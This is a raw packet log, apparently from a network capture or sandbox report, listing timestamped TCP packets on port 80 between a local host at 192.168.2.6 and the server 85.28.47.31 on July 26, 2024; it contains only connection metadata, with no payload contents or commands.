Jul 26, 2024 13:49:25.967375040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967402935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967437029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967482090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967516899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967571020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967617035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967638969 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967648983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967680931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967689991 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967689991 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967713118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967746019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967777967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967813015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.968190908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.969172955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969206095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969238043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969245911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.969245911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.969274044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969286919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969317913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969351053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969382048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969413996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969444036 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.969446898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.969999075 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.970038891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970077991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970123053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970124960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.970124960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.970170021 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.970733881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970767021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970801115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970835924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970892906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970926046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970958948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.970990896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971023083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971069098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971101046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971107960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.971133947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971136093 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.971169949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971286058 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.971402884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971436024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971467972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971503973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971535921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971568108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971599102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971631050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971662045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971693993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971724987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971756935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971788883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971815109 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.971822977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971868038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971899986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971909046 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.971935034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971946955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.971981049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.972737074 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974437952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974490881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974524975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974558115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974590063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974600077 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974600077 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974636078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974653006 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974669933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974713087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974745035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974780083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974793911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974817038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974857092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974873066 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974873066 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.974889040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974925041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974957943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.974989891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975020885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975053072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975095987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975128889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975153923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975167990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975182056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975195885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975210905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975224972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975238085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975253105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975266933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975281000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975291014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975300074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975310087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975320101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975330114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975339890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975347996 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.975349903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975364923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.975425959 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.976161003 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.053843021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.053875923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.053886890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054018974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054029942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054282904 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.054555893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054567099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054578066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054589987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054600954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054610968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054620981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054629087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054637909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054649115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054658890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054670095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054682016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.054791927 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.054996014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055006981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055018902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055030107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055035114 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.055042028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055052996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055095911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.055536985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055548906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055558920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055568933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055579901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055588007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055598974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055608988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055619955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055629969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055640936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055651903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055661917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055672884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.055684090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056128025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056238890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056248903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056262970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056267977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056272030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056277990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056355953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056368113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056377888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056389093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056399107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056411028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056421041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056432009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.056442976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057348967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057362080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057372093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057383060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057393074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057403088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057413101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057423115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057432890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057442904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057452917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057462931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057472944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057482958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057492971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.057502985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058762074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058775902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058790922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058801889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058811903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058824062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058834076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058845997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058867931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058878899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.058890104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059242964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059253931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059259892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059269905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059279919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059289932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059575081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059586048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059596062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059607983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059617996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059628010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059633970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059638977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059648991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059659958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059670925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059679985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059689999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059700966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.059772968 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.059880972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060040951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060210943 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060210943 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060256004 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060256004 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060281992 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060296059 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.060388088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060400963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060410023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060415030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060425043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060435057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060445070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060455084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.060465097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.063447952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.140559912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140614986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140625954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140683889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140697002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140841007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140853882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140863895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140923977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.140993118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141004086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141117096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141129017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141200066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141218901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141230106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141400099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141410112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141421080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141432047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141443014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141453028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141695976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141706944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141716957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141722918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141733885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141740084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.141959906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142040014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142050982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142060041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142070055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142081022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142090082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142101049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142378092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142389059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142400026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.142410040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143559933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143569946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143579960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143590927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143600941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143611908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143623114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143634081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143644094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143655062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143666983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143678904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143690109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143851995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143863916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143874884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143884897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.143898010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144110918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144120932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144131899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144143105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144442081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144453049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144463062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144474030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144491911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144501925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144512892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144524097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144535065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144932032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144944906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.144954920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145006895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145134926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145147085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145157099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145168066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145178080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145184040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145193100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.145204067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146164894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146177053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146188021 CEST	80	59020	85.28.47.31	192.168.2.6
